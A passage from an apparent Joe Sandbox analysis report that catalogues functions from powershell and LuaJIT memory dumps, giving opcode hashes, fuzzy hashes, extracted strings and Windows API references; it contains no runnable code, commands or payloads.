Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90af1097b327f6be0488ad765f40e53a099adebb51723e7b82b94df4dc655a37
Instruction ID: 2e0aab162e1077d773baa1b95cbc72593fc7a2c3cc69655e715193b3fba1802d
Opcode Fuzzy Hash: 90af1097b327f6be0488ad765f40e53a099adebb51723e7b82b94df4dc655a37
Instruction Fuzzy Hash: B4F0A7B56052085BE315AB69D0197AB7797EBC4328F60C16AC90947384CE396C05CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 02B578FF Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae2cc1e3a423cd9909f96921d45c0ff1fb1a6b3713ede1f9dc9855879acdc543
Instruction ID: d3df4e8b084f6eaf839bea1fc9004788fb5eb5db55476cf5af119e7023dbd794
Opcode Fuzzy Hash: ae2cc1e3a423cd9909f96921d45c0ff1fb1a6b3713ede1f9dc9855879acdc543
Instruction Fuzzy Hash: 35F08C393005188FC7019AA8A840AEABBE2EFCD76571041A9DA09DB311DF24CC024BA1

Uniqueness

Uniqueness Score: -1.00%

Function 02B5E290 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20c9fbbf9347e89cf08d1dd682a766c80fbd842c54ea57b806680f5b4eace93c
Instruction ID: 1baeb34148d5a0c0c42c6c41764449fd47936bb44030e9cc5df47daf876a25c5
Opcode Fuzzy Hash: 20c9fbbf9347e89cf08d1dd682a766c80fbd842c54ea57b806680f5b4eace93c
Instruction Fuzzy Hash: 1AE092353001108F83009B5DD448D26B7FAEFCE71531500A9E589CF324CB31EC01CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02B597E1 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 616f2340102391bb3830f6d7d63f81fe56babf530278b8b8baaf37fa4e3dde11
Instruction ID: 22106c606a8118545860a7e2ef56f28742d6b5e3991d521fca8dbaaa642a3059
Opcode Fuzzy Hash: 616f2340102391bb3830f6d7d63f81fe56babf530278b8b8baaf37fa4e3dde11
Instruction Fuzzy Hash: A2E0DF72B002B1AB86802BB9184036B669BCBCA594B0910F79E08EF241EE448C038AE0

Uniqueness

Uniqueness Score: -1.00%

Function 02B5B230 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c19dc3c959e77b635979c01dea6eacfbff34f0bb7afbac8174c0d920cf91714a
Instruction ID: 23c77b2468d8d7f60ddbe169adff19d5ec66186b02da7ff668caf9f2e37c0b3f
Opcode Fuzzy Hash: c19dc3c959e77b635979c01dea6eacfbff34f0bb7afbac8174c0d920cf91714a
Instruction Fuzzy Hash: EBE0D8237183B1078716952938146AA6F6787C352830840FFADC5CF29EDC42580283F4

Uniqueness

Uniqueness Score: -1.00%

Function 02B5ED6E Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41a820bc1a81bf297c81659925720dca9e5b36f2a018cabec46a3b1a17e4e20e
Instruction ID: 6213e26046dcdb8bd6c2d839fbdbdbbc9282159eb464b17c6b897b596e4ed8bd
Opcode Fuzzy Hash: 41a820bc1a81bf297c81659925720dca9e5b36f2a018cabec46a3b1a17e4e20e
Instruction Fuzzy Hash: E6F06D39A02118DFCB00CB98E586D9DFBB2FB48211B158555E909A7361DB31ED01CB40

Uniqueness

Uniqueness Score: -1.00%

Function 02B58A80 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9736832be39151f3f5f3ffd50bd48b8ebed8b91adb8b2c23e55372389f58bde
Instruction ID: 0b420670792d72c1ba51d4b39bdaef4e8577df9d71ce487956b1cd9eeb6d85e2
Opcode Fuzzy Hash: d9736832be39151f3f5f3ffd50bd48b8ebed8b91adb8b2c23e55372389f58bde
Instruction Fuzzy Hash: 6EF0E536A1434A47C324DF64E4469AABFB4EB01204B0041E9EE255F281D7210883CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 02B59408 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dfcb054a90f05eed6cadc7b6b26aaa11777a90769569469c54cd6ad02c5632f
Instruction ID: eb0eb088d28a6241aaf63acd37384221aa3c0d9fcc554081396ec2cb2caa52e2
Opcode Fuzzy Hash: 5dfcb054a90f05eed6cadc7b6b26aaa11777a90769569469c54cd6ad02c5632f
Instruction Fuzzy Hash: 0FF06D70A013048BD3609BB9D89C79A7BE9FB44320F004469E61EC7340DF396881CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02B58BF8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82ceac4465fdcde37816b7bd49d73bc3ae01c43cb1e14d480d3927b223051eec
Instruction ID: 63ee067292e7134f2312ced44f5b736cc0ad9d0b09921394d35acd6295c519fb
Opcode Fuzzy Hash: 82ceac4465fdcde37816b7bd49d73bc3ae01c43cb1e14d480d3927b223051eec
Instruction Fuzzy Hash: 54E0263130521047CB09377AA80C6AE7A5BFBC8724F01002AE70A83340CF7C080287D9

Uniqueness

Uniqueness Score: -1.00%

Function 02B589B9 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d281cdb18373ee34319f9b44634b8dba7e17b5e74262ad5f0b9eb20d7e8a7f0e
Instruction ID: 58887fec336037fc513f60da3a80d72dc61da872e56e82e8ed7eb55202b9d863
Opcode Fuzzy Hash: d281cdb18373ee34319f9b44634b8dba7e17b5e74262ad5f0b9eb20d7e8a7f0e
Instruction Fuzzy Hash: 59E04F368051598BCB1AAFA5E81F5EE7F34FB10601B4011EDDB0356181DA26558BCAC2

Uniqueness

Uniqueness Score: -1.00%

Function 02B5E0E0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e307a53988d7f7f55cf5da3910c591bc5881a314304e296da8405112adb85e52
Instruction ID: 9123a8952e536975a19754c157bbe5e80379095ab2ac285420e82a3b50d477a0
Opcode Fuzzy Hash: e307a53988d7f7f55cf5da3910c591bc5881a314304e296da8405112adb85e52
Instruction Fuzzy Hash: A6E0C232700625478226A62EA80195F7BDBDFC4671314406EE51ACB304DFB8DD0287D9

Uniqueness

Uniqueness Score: -1.00%

Function 02B5E130 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: 8a2c0c258c3fab0e03e8ad3b740b1dfc4fd76e7e7223c7baba5c5de334aab54b
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 74E08631B00024978B089599D4505D9F7A5DBCC220F04C4BADD4AA7340DA72AA16C6E1

Uniqueness

Uniqueness Score: -1.00%

Function 02B597F0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd2a952560593c3dcfec0f3500ce6d787eaca1de1aee3f6617aff46572470e01
Instruction ID: fe7058624c8a761f8163c3fc39bbcfb9d94773528447d2e1e3c7d12f495df96d
Opcode Fuzzy Hash: bd2a952560593c3dcfec0f3500ce6d787eaca1de1aee3f6617aff46572470e01
Instruction Fuzzy Hash: E5D05E6270023517069421AE280077BA1DFCBC45E470910B69F09CB241EE50DC024BE1

Uniqueness

Uniqueness Score: -1.00%

Function 02B5F8A0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcba08cf4d8dc20f7f36067bc1e2f56906b848fe9b5d84935dfa4554563463d8
Instruction ID: 7198b9df8105a24777cb18452b9b19840b10b5df6507366c0c250a57cda954e0
Opcode Fuzzy Hash: bcba08cf4d8dc20f7f36067bc1e2f56906b848fe9b5d84935dfa4554563463d8
Instruction Fuzzy Hash: 8CE04870D451095F8B80DFB998516AAFFF4EF49200F2485AEDD08D7311E7729A028FD1

Uniqueness

Uniqueness Score: -1.00%

Function 02B5F8B0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: e72c1d52da21ceb85693400598fe3c8a6f601b59ba38dc2820b8cf9a63743ae9
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: FBD06274D042199F8780DFADD94156DFBF4EB49200F5085AA8919D7301E7319612CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 02B58A90 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8496fefb474182514b66f8488d90595842c5ef5eb1a53a3fdb189afe1512a751
Instruction ID: 8fb6b7c0a326ab055209a24c821843e996c7430d6ab15751ce22c64201296413
Opcode Fuzzy Hash: 8496fefb474182514b66f8488d90595842c5ef5eb1a53a3fdb189afe1512a751
Instruction Fuzzy Hash: A0D01734A0420E8BC718EFA5E84686EBFB8FB44200F008169DE0993340EA315842CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 02B589C8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07fa8973e434741e3948efd5da8818e8642876b90e5ca6f10604a7e0fa1e0b8c
Instruction ID: 66a1556a2ba91098ae29094b3bcf37fae0b23d1b7e687af246b9f6087987dda3
Opcode Fuzzy Hash: 07fa8973e434741e3948efd5da8818e8642876b90e5ca6f10604a7e0fa1e0b8c
Instruction Fuzzy Hash: BAD06732905109CBCB19ABA5E85B4BDBB38FB14301F4142A9DA1752190EE361A9BCAC5

Uniqueness

Uniqueness Score: -1.00%

Function 02B5EE97 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4babaf3a98a9d0137f6f822613b48e253c6dbc557deaf6fa7c8d3b62d59f335
Instruction ID: c508031dc3a3e8054febdac3b864acedb8e75059266dc88235195e604b1846f1
Opcode Fuzzy Hash: a4babaf3a98a9d0137f6f822613b48e253c6dbc557deaf6fa7c8d3b62d59f335
Instruction Fuzzy Hash: 34D09239A05218CFDB14CB98E895A9CF371FB84365F1081A5E9199B250CB32E912CB40

Uniqueness

Uniqueness Score: -1.00%

Function 02B57B9A Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 672ff27750612fd6a975eeb84195af1472099a75f80caf6896a2c32f8360bb3d
Instruction ID: 1a686c3d23d95cb9c9a024c7b12b236d9ffe5ab9ea7869a881cc2a2842547427
Opcode Fuzzy Hash: 672ff27750612fd6a975eeb84195af1472099a75f80caf6896a2c32f8360bb3d
Instruction Fuzzy Hash: 9DD0127548A2848FCB064B75989C9597F65FB01201B4401EDD4464B7A2CE7AD084CF01

Uniqueness

Uniqueness Score: -1.00%

Function 02B58110 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae35d4484b3c35de5d15b1f0af090d2f4bbce85b061a0842c59c93b580728cd2
Instruction ID: c5ab54b233c8b96d6666c17a1f07286b2815441e55ace84720291ee6ecf85e91
Opcode Fuzzy Hash: ae35d4484b3c35de5d15b1f0af090d2f4bbce85b061a0842c59c93b580728cd2
Instruction Fuzzy Hash: 37C092A2E142A016EF95C63488DD3653FE2EB8262AF09C594C0829A119ED39C007AB01

Uniqueness

Uniqueness Score: -1.00%

Function 02B57BA8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea187a6047ed722d476b9f256f1dc4688be31a4fd42b45d39edc22a2eb4c3b2c
Instruction ID: 9ac18fab86b5cdd3eb40c21bf7a6d4c73d7d3b5a5e45fd4abc868651a25e11c7
Opcode Fuzzy Hash: ea187a6047ed722d476b9f256f1dc4688be31a4fd42b45d39edc22a2eb4c3b2c
Instruction Fuzzy Hash: 51B092301867088FC2096F75A808815736DBA4020538004ADE40A0A6A2CE76E880CF44

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 07221BE0 Relevance: 14.1, Strings: 11, Instructions: 399COMMON

Download Yara Rule

Strings

84wl, xrefs: 07221F76
$clk, xrefs: 072220B4
Jzl, xrefs: 07222017
Jzl, xrefs: 072220CE
Jzl, xrefs: 0722200B
ryl, xrefs: 07221C5D
Jzl, xrefs: 072220C2
84wl, xrefs: 07221F6C
piAk, xrefs: 07221C73
Jzl, xrefs: 07221FA1
ryl, xrefs: 07221C53

Memory Dump Source

Source File: 00000007.00000002.2177928830.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: $clk$84wl$84wl$piAk$Jzl$Jzl$Jzl$Jzl$Jzl$ryl$ryl
API String ID: 0-717163784
Opcode ID: 1bbafc66cf74873e97b912bc88fc2b43f41e2cd33c2a989affa62f835e8c1c11
Instruction ID: 26eca1480e5efe23e3b61382fb0b9091e95df866df0d1df4d4fb75658a3cd590
Opcode Fuzzy Hash: 1bbafc66cf74873e97b912bc88fc2b43f41e2cd33c2a989affa62f835e8c1c11
Instruction Fuzzy Hash: F2D15CB1B2426BEFC7258B688400AAABBF6EFC5310F15807BC5158B251DB72CD53D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 07223678 Relevance: 8.0, Strings: 6, Instructions: 475COMMON

Download Yara Rule

Strings

Ryl, xrefs: 07223846
ol, xrefs: 07223BCD
,Syl, xrefs: 07223904
,Syl, xrefs: 07223910
ol, xrefs: 07223BDB
d5ik, xrefs: 072238F6

Memory Dump Source

Source File: 00000007.00000002.2177928830.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: ,Syl$,Syl$d5ik$Ryl$ol$ol
API String ID: 0-335972791
Opcode ID: 56aef7f39bd51bc96bc8b72c20252ea5386c9e6206cd8925b1b6697dcbc5ed02
Instruction ID: 35a8e5a319b6b11c4074a0e9e6454e5ab1fef20ecc28b4200e1b202741ebac3a
Opcode Fuzzy Hash: 56aef7f39bd51bc96bc8b72c20252ea5386c9e6206cd8925b1b6697dcbc5ed02
Instruction Fuzzy Hash: B7E190B1B24367AFDB21DB799810766BBA2AFC2210F14807BD545CB253CA79C843D792

Uniqueness

Uniqueness Score: -1.00%

Function 072224D6 Relevance: 6.3, Strings: 5, Instructions: 95COMMON

Download Yara Rule

Strings

Jzl, xrefs: 0722259E
ryl, xrefs: 0722254F
|,Ck, xrefs: 072225DB
piAk, xrefs: 07222582
Jzl, xrefs: 072225EA

Memory Dump Source

Source File: 00000007.00000002.2177928830.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: piAk$|,Ck$Jzl$Jzl$ryl
API String ID: 0-3869415439
Opcode ID: 20a4bacfda4a946d447d2fd5450fddc9fb03fd8ee02637489c3265e40b698d4a
Instruction ID: 2334c3722e4b6563e38f5069d450a6948f39283b49a3786651a8b83cd1a5d3d0
Opcode Fuzzy Hash: 20a4bacfda4a946d447d2fd5450fddc9fb03fd8ee02637489c3265e40b698d4a
Instruction Fuzzy Hash: 0E3126F1A30227EFDB24CE54C05077673E5BF44210F06C069D8048B250C773C996EB96

Uniqueness

Uniqueness Score: -1.00%

Function 02B5204D Relevance: 5.0, Strings: 4, Instructions: 30COMMON

Download Yara Rule

Strings

q, xrefs: 02B5206A
q, xrefs: 02B52052
q, xrefs: 02B5207A
q, xrefs: 02B5208A

Memory Dump Source

Source File: 00000007.00000002.2172664095.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b50000_powershell.jbxd

Similarity

API ID:
String ID: q$q$q$q
API String ID: 0-594874556
Opcode ID: d33f1b6bc0cb36b8589efd0d25395c6f504222823e2b8ef1541a9c9a01b0d430
Instruction ID: c11d86f4a68301d36aedd6432d6d9d884ff21cb8c92546d3e44b096805f76d88
Opcode Fuzzy Hash: d33f1b6bc0cb36b8589efd0d25395c6f504222823e2b8ef1541a9c9a01b0d430
Instruction Fuzzy Hash: A1F09856C0E3D95FE32352295C392A87FA05F23220F4900EB9D96CB9D3F48D185AC356

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: LuaJIT.exePID: 3468, Parent PID: 5708COMMON

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.1%
Total number of Nodes:	1401
Total number of Limit Nodes:	57

Executed Functions

Function 00007FF718A821AC Relevance: 13.8, APIs: 9, Instructions: 273
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF718A81D90: _invalid_parameter_noinfo.LIBCMT ref: 00007FF718A81DD1
Part of subcall function 00007FF718A81D90: _invalid_parameter_noinfo.LIBCMT ref: 00007FF718A81E51
Part of subcall function 00007FF718A81D90: _invalid_parameter_noinfo.LIBCMT ref: 00007FF718A81EA5
Part of subcall function 00007FF718A81D90: _get_daylight.LIBCMT ref: 00007FF718A81EFD

CreateFileW.KERNELBASE ref: 00007FF718A822B2
CreateFileW.KERNEL32 ref: 00007FF718A82302
GetLastError.KERNEL32 ref: 00007FF718A82332
GetFileType.KERNELBASE ref: 00007FF718A82347
GetLastError.KERNEL32 ref: 00007FF718A82351
CloseHandle.KERNEL32 ref: 00007FF718A82384
CloseHandle.KERNEL32 ref: 00007FF718A824DF
CreateFileW.KERNEL32 ref: 00007FF718A82514
GetLastError.KERNEL32 ref: 00007FF718A82523

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type_get_daylight
String ID:
API String ID: 1330151763-0
Opcode ID: ce5669ae4ee54aa3f53f5135a37de033940a3ee15ed4778064c01fcdce3bf99e
Instruction ID: 478acd46cf3548cb755eae7e335662b33c338b086708ec1a49118e2c4307c751
Opcode Fuzzy Hash: ce5669ae4ee54aa3f53f5135a37de033940a3ee15ed4778064c01fcdce3bf99e
Instruction Fuzzy Hash: CAC1B132B25E4286EB10DF69C4919BCB760F749BA8F901329DE2E57794DF38E016C324

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A7E57C Relevance: 10.8, APIs: 7, Instructions: 291
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A7E9B2

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7f68fa593cf1d9a2b06b63644bb3f377937709bb3d7ea6a5941bca859d8c03e4
Instruction ID: d4a2253ba5b8c7494a25e6ea193c6daa61882b3693f674f8404a9758142e02bf
Opcode Fuzzy Hash: 7f68fa593cf1d9a2b06b63644bb3f377937709bb3d7ea6a5941bca859d8c03e4
Instruction Fuzzy Hash: 17C1E222A0AE8643E7617B559400A7EE6A1FB81FA0FD40331DA4D03795CE7EE46DD328

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A3B7D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF718A3B7F4
LoadLibraryExA.KERNELBASE ref: 00007FF718A3B84B
SetLastError.KERNEL32 ref: 00007FF718A3B85C

Strings

%s.dll, xrefs: 00007FF718A3B82F
cannot load module '%s': %s, xrefs: 00007FF718A3B88E

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorLast$LibraryLoad
String ID: %s.dll$cannot load module '%s': %s
API String ID: 1136134869-4289185444
Opcode ID: c844f6a29efa947424cb09f57144a9e1a9ee2c23f4a27d5807583d39c1045496
Instruction ID: 2a38c5eb401bcbed026f587d82f65294b782cc04506ce09be4964eabfcda625a
Opcode Fuzzy Hash: c844f6a29efa947424cb09f57144a9e1a9ee2c23f4a27d5807583d39c1045496
Instruction Fuzzy Hash: F211C625A1AF9687E714AB26F840969E761EB44BE0F884331DF5D03B85CE3DE14AC714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7189FDCB0 Relevance: 7.7, APIs: 6, Instructions: 155
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF7189FDCFE
VirtualAlloc.KERNELBASE ref: 00007FF7189FDD16
SetLastError.KERNEL32 ref: 00007FF7189FDD21
GetLastError.KERNEL32 ref: 00007FF7189FDD94
VirtualAlloc.KERNELBASE ref: 00007FF7189FDDAD
SetLastError.KERNEL32 ref: 00007FF7189FDDB8

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorLast$AllocVirtual
String ID:
API String ID: 1225938287-0
Opcode ID: 2f2143bb498941bec75cced9dcacd0c17fdc8fa6ec24fcee7208aa3e6033dbcc
Instruction ID: 951fcaa0ef76e7d4a9c9521919f08e2160cb6fa3421c6a653ee7bc439067b71c
Opcode Fuzzy Hash: 2f2143bb498941bec75cced9dcacd0c17fdc8fa6ec24fcee7208aa3e6033dbcc
Instruction Fuzzy Hash: 6451AF72709F4182EB289B11E444369FBA1FB44BA4F984635CA7E47B90DF3CE549C318

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7189FBE10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53
libraryCOMMON

